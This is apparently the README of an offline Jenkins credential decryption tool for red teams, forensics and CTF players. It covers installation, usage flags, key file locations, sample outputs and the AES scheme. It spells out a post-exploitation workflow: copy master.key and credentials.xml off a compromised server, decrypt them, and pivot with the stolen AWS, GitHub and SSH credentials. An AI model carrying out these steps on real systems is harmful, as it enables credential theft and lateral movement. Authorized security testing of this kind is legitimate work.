Offline Jenkins credential decryption tool for red teams, researchers, and CTF players. Handles credentials.xml and master.key files with no Jenkins runtime required. Docker support included, works on Linux, macOS, and WSL.
This tool extracts and decrypts stored Jenkins credentials using recovered encryption keys. It works with both legacy (AES-ECB) and modern (AES-CBC) encryption formats and is designed for use after CI infrastructure compromise.
- No hardcoded credentials or paths — everything is configurable via environment variables
- Automatically locates Jenkins directories and key files
- Works in Docker for clean, repeatable execution
- Can also run natively with Python and virtualenv
- Warns on unsafe defaults like
admin/adminor root execution - Tested on Linux, macOS, Windows 10/11, and WSL2
Target files typically pulled from compromised Jenkins servers:
secrets/master.key– Main encryption keysecrets/hudson.util.Secret– Secondary key used to generate confidentiality keycredentials.xml– Global secrets storejobs/*/config.xml– Job-level secrets, often pipeline tokensusers/*/config.xml– User-level credentials (often more privileged)
Recovered credentials may include:
- AWS access keys and secrets
- GitHub Personal Access Tokens (PATs)
- DockerHub/NPM/Maven API tokens
- SSH private keys
- Database passwords
- Misc. cloud provider credentials
- Virtualenv auto-setup – Dependencies managed automatically
- Decrypt AES-ECB – Legacy format from Jenkins < 2.0
- Decrypt AES-CBC – Current format (Jenkins >= 2.0)
- Base64 decode + PKCS#7 unpad – Full crypto stack built-in
- Recursive directory scan – Handles large Jenkins home dirs
- Cross-platform support – Works on Linux, Windows, macOS, and WSL2
- Secrets redacted by default – No accidental credential dumps in logs
- Dry-run mode – Run decryption safely without revealing anything
- Pattern detection – Flags AWS keys, GitHub tokens, SSH material
- Root/admin detection – Warns if running with unnecessary privileges
- Default credential warnings – Active check for known weak creds
- JSON export – Easy integration with tooling or automation
- CSV export – Works well for reporting and quick triage
- Overwrite protection – Won’t overwrite export files unless
--forceis set
- Interactive mode – Manually decrypt individual secrets
- Batch processing – Supports large, automated decrypt runs
- Detailed error output – Shows what failed and why
- Dockerized – Full isolation, zero local Python requirements
- Native Python – Scripted usage with automatic
.venvcreation - Standalone Binary – Single-file executable for systems without Python
- Volume mounts supported – Keeps decrypted exports separate
- Jenkins Lab compatible – Can be deployed in test labs with your own creds
To run natively (no Docker):
- Python 3.6 or newer (Python 3.11+ recommended)
pycryptodome(automatically installed via virtualenv on first run)
To run with Docker:
- Docker Engine 20.10+
- Docker Compose v1.29+ or Docker Compose v2+
Clone the repository:
git clone https://github.com/ridpath/Jenkins-Credential-Decryptor.git
cd Jenkins-Credential-DecryptorOption 1: Native Python (dependencies auto-install):
python3 decrypt.py --helpThe script automatically creates a .venv and installs dependencies on first run. No manual setup required.
Option 2: Docker (zero local dependencies):
docker-compose build offsec-jenkins
docker-compose run --rm offsec-jenkins --helpDocker provides complete isolation and portability across any platform.
Option 3: Standalone Binary (forensic portability):
# Download pre-built binary from releases, or build yourself:
./scripts/build_binary.sh # Linux/macOS
# or
.\scripts\build_binary.ps1 # Windows
# Run without Python installation
./dist/jenkins-decrypt --path /var/lib/jenkinsSingle-file executable (~7MB) for deployment to systems without Python. See docs/BINARY_BUILD.md for details.
Environment variable configuration:
# Configure Jenkins Lab credentials
export JENKINS_USER=myuser
export JENKINS_PASS=strongpassword
export JENKINS_URL=http://target:8080
# Run any script - uses your credentials
./examples/full_workflow_example.shDocker credential configuration:
# docker-compose.yml
environment:
- JENKINS_ADMIN_USER=ctfuser
- JENKINS_ADMIN_PASS=ctfpass123All components emit warnings when default credentials are active:
[!] WARNING: Using default credentials (admin/admin)
[!] Set JENKINS_USER and JENKINS_PASS environment variables for custom credentials
usage: decrypt.py [-h] [--path PATH] [--key FILE] [--secret FILE] [--xml FILE]
[--scan-dir DIR] [--interactive] [--export-json FILE]
[--export-csv FILE] [--dry-run] [--reveal-secrets] [--force]
Jenkins Credential Decryptor - Red Team Post-Exploitation Utility
options:
-h, --help show this help message and exit
--path PATH Jenkins base directory (auto-detects master.key,
hudson.util.Secret, credentials.xml)
--key FILE Path to master.key file
--secret FILE Path to hudson.util.Secret file
--xml FILE Path to credentials.xml file
--scan-dir DIR Recursively scan directory for all credential XMLs
--interactive Enter interactive mode (decrypt individual secrets)
--export-json FILE Export decrypted secrets to JSON file
--export-csv FILE Export decrypted secrets to CSV file
--dry-run Simulate decryption without printing secrets
--reveal-secrets Show plaintext secrets (default: redacted)
--force Overwrite output files without warning
Example: python3 decrypt.py --path /var/lib/jenkins --export-json secrets.json
python3 decrypt.py --path /var/lib/jenkinspython3 decrypt.py --key master.key --secret hudson.util.Secret --xml credentials.xmlpython3 decrypt.py --path /var/lib/jenkins --reveal-secretspython3 decrypt.py --path /var/lib/jenkins --dry-runpython3 decrypt.py --scan-dir /jenkins_backuppython3 decrypt.py --path /var/lib/jenkins --export-json secrets.json --reveal-secretspython3 decrypt.py --path /var/lib/jenkins --export-csv secrets.csv --reveal-secretspython3 decrypt.py --key master.key --secret hudson.util.Secret --interactive
Encrypted secret: AQAAABAAAAAw...
[+] Decrypted: ghp_1234567890abcdef...python decrypt.py --path C:\Jenkins --export-json secrets.json --reveal-secretsNote: On Windows, always invoke with python decrypt.py, not .\decrypt.py. Direct execution may fail silently due to Windows file association handling.
If encountering issues, rebuild the virtualenv:
rmdir /s /q .venv
python -m venv .venv
.venv\Scripts\python.exe -m pip install pycryptodome
python decrypt.py --helppython3 decrypt.py --path /var/lib/jenkins --export-json secrets.json --reveal-secretspython3 decrypt.py --path /Users/Shared/Jenkins --export-json secrets.json --reveal-secretsRun in an isolated container without local Python installation:
# Build image
docker-compose build offsec-jenkins
# Decrypt from mounted directory
docker-compose run --rm offsec-jenkins --path /data --reveal-secrets
# Export to JSON
docker-compose run --rm offsec-jenkins \
--path /data \
--export-json /outputs/loot.json \
--reveal-secrets \
--forcePlace Jenkins files in ./jenkins_files/:
cp extracted/master.key jenkins_files/
cp extracted/hudson.util.Secret jenkins_files/
cp extracted/credentials.xml jenkins_files/Output files are saved to ./outputs/ directory.
See DOCKER_USAGE.md for complete Docker documentation.
Automated test suite for Docker environment:
# Windows
test_docker_validation.bat
# Linux/macOS/WSL
chmod +x test_docker_validation.sh
./test_docker_validation.shValidates 7 test scenarios: help output, decryption, JSON/CSV export, dry-run mode.
Jenkins Lab Docker environment supports user-configurable credentials with zero hardcoded defaults.
Configure admin credentials via environment variables:
docker-compose.yml:
services:
jenkins:
environment:
- JENKINS_ADMIN_USER=myuser
- JENKINS_ADMIN_PASS=strongpassword123Command-line:
docker-compose up -d \
-e JENKINS_ADMIN_USER=testuser \
-e JENKINS_ADMIN_PASS=testpassShell export:
export JENKINS_USER=ctfuser
export JENKINS_PASS=ctfpass
./examples/full_workflow_example.shUseful for post-exploitation, forensic credential recovery, and pipeline hardening audits
| File | Description | Default Linux Path | Alt Locations / Notes |
|---|---|---|---|
master.key |
Key used to encrypt stored Jenkins secrets | /var/lib/jenkins/secrets/master.key |
Required for offline credential decryption |
hudson.util.Secret |
Secondary encryption / secret metadata | /var/lib/jenkins/secrets/hudson.util.Secret |
Required alongside master.key |
credentials.xml |
Global stored secrets for pipelines + agents | /var/lib/jenkins/credentials.xml |
May appear in: ~/.jenkins/credentials.xml or per-user workspace |
credentials.xml (user) |
User-specific credential entries | /var/lib/jenkins/users/<USER>/credentials.xml |
Privileged credentials often stored here |
config.xml |
Global Jenkins configuration (may contain tokens) | /var/lib/jenkins/config.xml |
Used in admin takeover hardening tests |
jobs/*/config.xml |
Job-level secrets & API tokens | /var/lib/jenkins/jobs/<JOB_NAME>/config.xml |
Pipeline secret sprawl risk indicator |
C:\Program Files\Jenkins\secrets\master.keyC:\ProgramData\Jenkins\.jenkins\secrets\master.key%JENKINS_HOME%\secrets\master.key
/var/jenkins_home/secrets/master.key/var/jenkins_home/credentials.xml
[*] Loading confidentiality key...
[+] Confidentiality key loaded successfully
[*] Processing credentials.xml
AKIA***REDACTED***MPLE
ghp_***REDACTED***stuv
***REDACTED***
[!] Secrets are redacted by default. Use --reveal-secrets to show plaintext
[*] Loading confidentiality key...
[+] Confidentiality key loaded successfully
[*] Processing credentials.xml
AKIAIOSFODNN7EXAMPLE
ghp_1234567890abcdefghijklmnopqrstuv
admin_password_123
[
{
"file": "/var/lib/jenkins/credentials.xml",
"encrypted": "AQAAABAAAAAw...",
"decrypted": "AKIAIOSFODNN7EXAMPLE",
"display": "AKIAIOSFODNN7EXAMPLE"
},
{
"file": "/var/lib/jenkins/credentials.xml",
"encrypted": "LZmC2dQ47FVMe9fI...",
"decrypted": "ghp_1234567890abcdefghijklmnopqrstuv",
"display": "ghp_1234567890abcdefghijklmnopqrstuv"
}
]file,encrypted,decrypted,display
/var/lib/jenkins/credentials.xml,AQAAABAAAAAw...,AKIAIOSFODNN7EXAMPLE,AKIAIOSFODNN7EXAMPLE
/var/lib/jenkins/credentials.xml,LZmC2dQ47FVMe9fI...,ghp_1234567890abcdefghijklmnopqrstuv,ghp_1234567890abcdefghijklmnopqrstuv-
Compromise Jenkins server via CVE or credential abuse
-
Extract key material:
# Extract files from compromised host scp user@jenkins:/var/jenkins_home/secrets/master.key . scp user@jenkins:/var/jenkins_home/secrets/hudson.util.Secret . scp user@jenkins:/var/jenkins_home/credentials.xml .
-
Decrypt offline:
python3 decrypt.py --key master.key --secret hudson.util.Secret --xml credentials.xml --reveal-secrets
-
Pivot to cloud infrastructure:
- Use AWS keys for cloud enumeration
- Use GitHub tokens for source code access
- Use SSH keys for lateral movement
Extract Jenkins credentials during CTF challenges:
# Find Jenkins files
find / -name master.key 2>/dev/null
find / -name hudson.util.Secret 2>/dev/null
# Decrypt
python3 decrypt.py --path /var/lib/jenkins --reveal-secretsExport for automation:
# Export to JSON for scripting
python3 decrypt.py --path /var/lib/jenkins --export-json creds.json --reveal-secrets
# Parse with jq
cat creds.json | jq -r '.[] | select(.decrypted | contains("AKIA")) | .decrypted'Secrets are redacted by default to prevent accidental exposure in logs or screenshots:
AKIAIOSFODNN7EXAMPLE → AKIA***REDACTED***MPLE
ghp_1234567890abcdefghijklmnopqrstuv → ghp_***REDACTED***stuv
admin_password → ***REDACTED***
Use --reveal-secrets to show plaintext.
Test decryption without revealing secrets:
python3 decrypt.py --path /var/lib/jenkins --dry-runOutput:
[DRY RUN] Found secret (not decrypted)
[DRY RUN] Found secret (not decrypted)
The tool warns if run with unnecessary elevated privileges:
[!] WARNING: Running with elevated privileges (Administrator)
[!] This tool does not require elevated privileges
- Used in Jenkins < 2.0
- 16-byte blocks
- PKCS#7 padding
- Magic marker:
::::MAGIC::::
- Used in Jenkins >= 2.0
- 16-byte IV prepended
- PKCS#7 padding
- Format byte:
0x01
- Load
master.key(hex string) - Derive AES-128 key via SHA-256
- Decrypt
hudson.util.Secretwith derived key (AES-ECB) - Extract confidentiality key (first 16 bytes before magic marker)
- Decrypt credentials using confidentiality key (AES-ECB or AES-CBC)
- Remove padding and decode to UTF-8
README.md- This fileDOCKER_USAGE.md- Complete Docker usage guideFORENSICS.md- Evidence preservation and chain of custody guidelines
examples/README.md- Usage examples overviewexamples/basic_decryption.sh- Simple decryption workflowexamples/docker_workflow.sh- Isolated Docker-based decryptionexamples/ctf_speedrun.sh- Fast credential recovery for CTFsexamples/forensic_workflow.sh- Complete forensic workflow with documentationexamples/generate_report.py- Automated report generation from JSON exports
tests/README.md- Test suite overviewtests/JENKINS_LAB_TESTING.md- Jenkins Lab integration testingpytest.ini- Pytest configurationtest_docker_validation.bat- Windows Docker validationtest_docker_validation.sh- Linux Docker validation
Ensure you're pointing to the correct Jenkins directory:
find / -name master.key 2>/dev/null- Verify
hudson.util.Secretis a binary file (not text) - Check file wasn't corrupted during transfer
- Ensure files are from the same Jenkins instance
- Verify
credentials.xmlcontains encrypted values - Check XML structure is valid
- Ensure credentials were configured in Jenkins
Direct execution (.\decrypt.py) may fail without output due to Windows file associations. Always invoke with python:
# Correct
python decrypt.py --help
# Incorrect (may fail silently)
.\decrypt.py --helpUse python instead of python3:
python decrypt.py --helpIf commands produce no output or fail unexpectedly, rebuild the virtualenv:
# Remove corrupted virtualenv
rmdir /s /q .venv
# Recreate and install dependencies
python -m venv .venv
.venv\Scripts\python.exe -m pip install pycryptodome
# Test
python decrypt.py --help- Decryption: ~1ms per secret
- Large credential files (100+ secrets): < 1 second total
- Recursive scanning: Linear performance based on directory size
- Docker overhead: ~50-100ms container startup (negligible for batch operations)
- Memory footprint: < 50MB RAM typical usage
This tool is for authorized security assessments, penetration testing, CTF competitions, and educational purposes only.
Unauthorized access to computer systems is illegal. Use only on systems you have explicit permission to test.
The authors assume no liability for misuse of this software.
Portions of the decryption logic are based on research from gquere/pwn_jenkins.
This version has been significantly extended.
See LICENSE file for details.